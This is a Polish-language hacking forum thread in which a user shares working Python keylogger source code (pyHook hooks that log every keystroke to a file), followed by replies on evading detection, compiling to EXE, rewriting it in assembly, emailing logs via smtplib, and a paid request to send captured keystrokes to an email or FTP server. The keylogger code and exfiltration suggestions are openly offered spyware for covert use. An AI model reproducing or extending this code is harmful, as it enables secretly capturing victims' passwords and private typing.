Strona 1 z 1

Keylogger w Pythonie (moja przerobka)

: 10 sty 2016, 16:55
autor: Kenjin
Witam, prezentuje wam moja ulepszona wersje najpopularniejszego keyloggera w pythonie. Wykorzystuje ona moduly pyhook(do hookowania klawiszy) i pythoncom(pywin32). Loguje do pliku.

Kod: Zaznacz cały

import pythoncom, pyHook, time

buffer = []

def OnKeyboardEvent(event):
    buffer.append(chr(event.Ascii))
    if len(buffer) > 20:
        f = open('C://output.txt', 'a')
        wpisz = str(buffer)
        wpisz = wpisz.replace(",", "")
        wpisz = wpisz.replace("'", "")
        wpisz = wpisz.replace('[', "")
        wpisz = wpisz.replace(']', "")
        f.write(wpisz)
        f.write('\n')
        f.close()
        buffer[:] = []



hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Re: Keylogger(moja przerobka)

: 11 sty 2016, 06:37
autor: F3nix
Dzięki za źródła! Dla mnie jednak keyloggery w językach interpretowanych bronią się tylko poziomem wykrywalności... bo trochę cienka sprawa jest gdy ktoś nie ma zainstalowanego Pythona na kompie. Pewnie wyskoczy Kanjin zaraz, że przecież da się skompilować PY na EXE... :lol:

PS smtplib dla potomnych ;) :
http://www.tutorialspoint.com/python/py ... _email.htm

Re: Keylogger(moja przerobka)

: 11 sty 2016, 10:38
autor: Kenjin
F3nix pisze: Pewnie wyskoczy Kanjin zaraz, że przecież da się skompilować PY na EXE... :lol:
No da sie :) Ale podzielam opinie, ze tego typu rzeczy powinno sie w jak najnizejpoziomowych jezykach pisac. Swoja droga widzial ktos kiedys keyloggera w assemblerze ? :D

Re: Keylogger w Pythonie (moja przerobka)

: 11 sty 2016, 13:14
autor: F3nix
Ja widziałem i wcale nie odbiega daleko od większości keyloggerów. Jeśli ktoś napisał sobie lub przeanalizował jakiś dajmy na to w C++ keylogger i coś tam skubał w ASM to bez problemu napisze. Wystarczy poszukać informacji o WinApi ASM. Używanie w asm winapi nie jest wcale trudne. Zobacz to zwykły messagebox z winapi: http://win32assembly.programminghorizon.com/tut2.html

Kod: Zaznacz cały

.386 
.model flat,stdcall 
option casemap:none 
include \masm32\include\windows.inc 
include \masm32\include\kernel32.inc 
includelib \masm32\lib\kernel32.lib 
include \masm32\include\user32.inc 
includelib \masm32\lib\user32.lib

.data 
MsgBoxCaption  db "Iczelion Tutorial No.2",0 
MsgBoxText       db "Win32 Assembly is Great!",0

.code 
start: 
invoke MessageBox, NULL, addr MsgBoxText, addr MsgBoxCaption, MB_OK 
invoke ExitProcess, NULL 
end start
Jak się w sumie przyjrzysz i porównasz to do wywołania messageboxa w C++ lub samej dokumentacji od M$ oficjalnej:
https://msdn.microsoft.com/en-us/librar ... s.85).aspx

to sam stwierdzisz że w sumie niczym się nie różni używanie. Jak w przykładzie deklarujesz 2 zmienne nazwa okna i tekst w okienku i wywołujesz z parametrami messagebox analogicznie do innych języków.

Nie wierze też, że nie znajdzie się gotowych wstawek w ASM do obsługi plików itd w sieci. Myślę że ASM wymaga po prostu obycia. Ewentualnie piszesz w C++ i deasemblera uzywajac masz gotowy kod w ASM :lol:

Re: Keylogger w Pythonie (moja przerobka)

: 06 sty 2020, 19:11
autor: Hoqu
Kto by mi to zrobił żeby wysyłalo logi klawiatury na email bądź serwer FTP, (zapłacę)